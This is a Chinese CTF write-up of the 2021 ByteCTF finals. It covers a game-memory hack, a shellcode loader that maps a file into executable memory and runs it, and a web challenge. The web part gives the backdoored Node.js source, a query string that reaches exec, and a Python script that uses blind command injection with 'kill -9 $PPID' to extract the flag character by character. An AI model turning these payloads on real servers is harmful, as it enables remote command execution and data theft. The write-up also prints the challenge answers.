北极星战队本次排行10,共解出7道
-
checkin
-
misc_FPS_game
-
Final survey
-
BabyHeaven
-
Nothing
MISC
checkin
公众号回复得到flag:ByteCTF{kdjsl0vgc1weplqaz00}
misc_FPS_game
通过识图找到了原版游戏
https://oc2021.compositecomputer.club/works/54
用dnspy反编译dll,找到玩家数据的类,发现一些被固定的属性,比如跳跃高度和摄像头高度
使用CE修改玩家高度浮点数,可以看到flag
flag:ByteCTF{AbcTextGamePlay6666}
Final survey
填写问卷得到flag:ByteCTF{Congratulations_on_your_good_results}
RE
BabyHeaven
目测用到了HeavenGate 给的是一段shellcode,常见的通过PEB定位需要的dll和函数,写代码加载起来动态调试
#include <iostream>
#include <stdio.h>
#include <windows.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma warning (disable: 4996)
int main()
{
FILE* fp = NULL;
int length;
fp = fopen("BabyHeaven", "rb");
if (fp == NULL)
{
return 0;
}
fseek(fp, 0, SEEK_END);
length = ftell(fp);
printf("lenght:%xn", length);
LPVOID lpAlloc = VirtualAlloc(0, length, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
rewind(fp);
fread(lpAlloc, 1, length, fp);
((void(*)())lpAlloc)();
//printf("read successn");
return 0;
}
运行到ret可以看到部分flag
明显heavenGate
算法分析,应该是0-25的全排列,计算其中两个序列A和B之间的间隔
找全排列的规律,最后12位(12的阶乘可以爆破)的时候可以爆破一下省体力
import numpy
result = 0
result += numpy.math.factorial(2)
result += numpy.math.factorial(3)
result += numpy.math.factorial(4)*2
result += numpy.math.factorial(5)*5
result += numpy.math.factorial(6)*3
result += numpy.math.factorial(8)*7
result += numpy.math.factorial(9)
result += numpy.math.factorial(10)*3
result += numpy.math.factorial(14)*3
result += numpy.math.factorial(15)*3
result += numpy.math.factorial(16)*10
result += numpy.math.factorial(17)*3
result += numpy.math.factorial(18)*15
result += numpy.math.factorial(19)*8
result += numpy.math.factorial(20)
result += numpy.math.factorial(19)
result += numpy.math.factorial(19)*12
result += numpy.math.factorial(18)
result += numpy.math.factorial(18)*8
result += numpy.math.factorial(17)
result += numpy.math.factorial(17)*2
result += numpy.math.factorial(16)
result += numpy.math.factorial(16)*15
result += numpy.math.factorial(15)
result += numpy.math.factorial(15)*14
result += numpy.math.factorial(13)
result += numpy.math.factorial(13)*10
result += numpy.math.factorial(12)
result += numpy.math.factorial(12)*9
result += 0x14af3351#爆破最后几位需要的步数
print(hex(result))
#0x47627a3132307751
#"ByteCTF{Qw021zbG}"
flag:ByteCTF{Qw021zbG}
WEB
Nothing
主页说有nodejs后门,扫目录扫到 http://39.106.34.228:30001/source
const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()
app.get('/', (req, res) => {
if (!('ByteCTF' in req.query)) {
res.end("Here is a backdoor,can you shell it and get the flag?")
return
}
if (req.query.ByteCTF.length > 3000) {
const byteCTF = JSON.stringify(req.query.ByteCTF)
if (byteCTF.length > 1024) {
res.end("too long.")
return
}
try {
const q = "{" + req.query.ByteCTF + "}"
res.end("Got it!")
} catch {
if (req.query.backdoor) {
exec(req.query.backdoor)
res.send("exec complete,but nothing here")
} else {
res.end("Nothing here!")
}
}
} else {
res.end("too short.")
return
}
})
app.get('/source', (req, res) => {
res.end(src)
});
app.listen(3000, () => {
console.log(`listening at port 3000`)
})
需要满足req.query.ByteCTF.length > 3000,经过JSON.stringify操作后满足byteCTF.length>1024,try那里要报错进catch
?ByteCTF[length]=4234&ByteCTF[toString]=&backdoor=
卡住了,通过kill进程,请求无回显来判断执行结果
if [ `cat /Th1s_1s_f1a9* | grep '%s%s'` ];then kill ‐9 $PPID;fi
# ‐*‐ coding: utf‐8 ‐*‐
import requests
from urllib.parse import quote
import string
u = "http://39.106.34.228:30001"
def req(payload):
url = u + "/?ByteCTF[length]=4234&ByteCTF[toString]=&backdoor=" + quote(payload)
try:
res = requests.get(url)
res = requests.get(url)
res = requests.get(url)
return False
except:
return True
def execute(cmd):
payload = cmd + ' | tr "n" " " > /tmp/jrxnm_jjjj'
req(payload)
def loopFor():
strings = "_‐ {}" + string.hexdigits
num = 9
data = "bytectf{"
while True:
c = 0
for s in strings:
payload = "if [ `cat /Th1s_1s_f1a9* | grep '%s%s'` ];then kill ‐9
$PPID;fi"%(data, s)
print(payload)
if(req(payload)):
data += s
print(data)
num+=1
c = 1
break
# if not c:
# break
if __name__ == "__main__":
execute("ls /")
loopFor()
得到 flag:bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}
原文始发于微信公众号(星盟安全):2021ByteCTF决赛wp—北极星战队
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论